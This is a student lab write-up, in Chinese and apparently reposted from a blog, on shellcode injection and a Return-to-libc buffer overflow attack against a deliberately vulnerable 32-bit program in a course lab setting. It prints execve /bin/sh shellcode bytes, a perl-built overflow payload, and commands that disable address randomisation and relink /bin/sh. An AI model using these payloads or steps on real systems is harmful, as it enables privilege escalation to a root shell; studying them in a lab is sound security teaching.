zoukankan      html  css  js  c++  java
  • 20145314郑凯杰《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

    20145314郑凯杰《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

    1.0 实践内容

    Return-to-libc攻击是一种特殊的缓冲区溢出攻击,通常用于攻击有“栈不可执行”保护措施的目标系统。本实验中我们放弃了让漏洞程序执行堆栈中的shellcode,将用system()地址替换返回地址,用它调用一个root shell

    1.1 shellcode注入实验

    实验之前需要安装execstack.

    设置堆栈可执行,并关闭地址随机化。

    shellcode的获取是直接根据许心远同学的博客

    得到shellcode如下

    x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
    
    • 接下来正式进入实验:

    构造注入的payload,格式为

    nop(即x90)+shellcode+返回地址。
    

    对返回地址进行猜测,尝试找到shellcode的地址:

    打开一个新的终端,首先查看pid:发现pid为1853

    用gdb调试:

    ret一行即为结束地址,从上图中,读出结束地址为0x080484ae

    返回原来的终端:(回车要在设置断点后进行,gdb执行c前按下,否则无法确认进程号)

    接下来设置断点,并寻找注入的buf的地址:

    然后我们发现,先前输入的01020304出现在了这里,这里就是返回地址。

    01020304的位置就是返回地址的位置,即0xffffd33c

    获得shellcode的地址后,再次返回先前的终端,先用exit命令退出该步骤,随后修改input_shellcoded的值为

    perl -e 'print "A" x 32;print "x40xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    然后在该窗口中,重新运行

    (cat input_shellcode ; cat )| ./pwn5314
    

    成功

    2.0 Return-to-libc 攻击实验

    首先需要创建环境

    输入如下指令,创建32位C语言可编译的环境

    sudo apt-get update
    sudo apt-get install lib32z1 libc6-dev-i386
    

    完成安装

    输入命令

    linux32
    

    进入32位linux操作环境

    使用

    /bin/bash
    

    进入bash

    接下来关闭地址随机化

    sudo sysctl -w kernel.randomize_va_space=0
    

    为了防止shell攻击,若被攻击,则程序被调用时会自动弃权,用zkj来代替它:

    这里用到的命令为:

    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit
    

    在tmp文件夹下编辑“retlib.c”文件,并编译设置SET-UID

    我在windows下编译完成后复制进tmp文件夹,因此替代了文件

    进行编译,

    提权后退出。

    创建文件“”getenvaddr.c”文件用于读取环境变量,并编译

    在tmp文件夹下准备“exploit.c”文件用于攻击

    并对其进行编译

    编译exploit再运行gdb,对其进行调试

    接下来获取system地址

    通过上述获取的地址,修改入exploit.c文件,并删除之前生成的exploit和badfile文件,再次编译,

    编译的方法是:将先前得到的地址等填入exploit的相应位置

    最后编译运行retlib

    攻击成功

  • 相关阅读:
    [Android Pro] Fragment中使用SurfaceView切换时闪一下黑屏的解决办法
    [Android Pro] 监听Blutooth打开广播
    [Android Pro] 监听WIFI 打开广播
    [Android Pro] RecyclerView实现瀑布流效果(二)
    特征选择方法
    python pandas 计算相关系数
    dataframe 合并(append, merge, concat)
    屏幕截图
    Python 中的 sys.argv 用法
    CTPN
  • 原文地址:https://www.cnblogs.com/5314zkj/p/6624701.html
Copyright © 2011-2022 走看看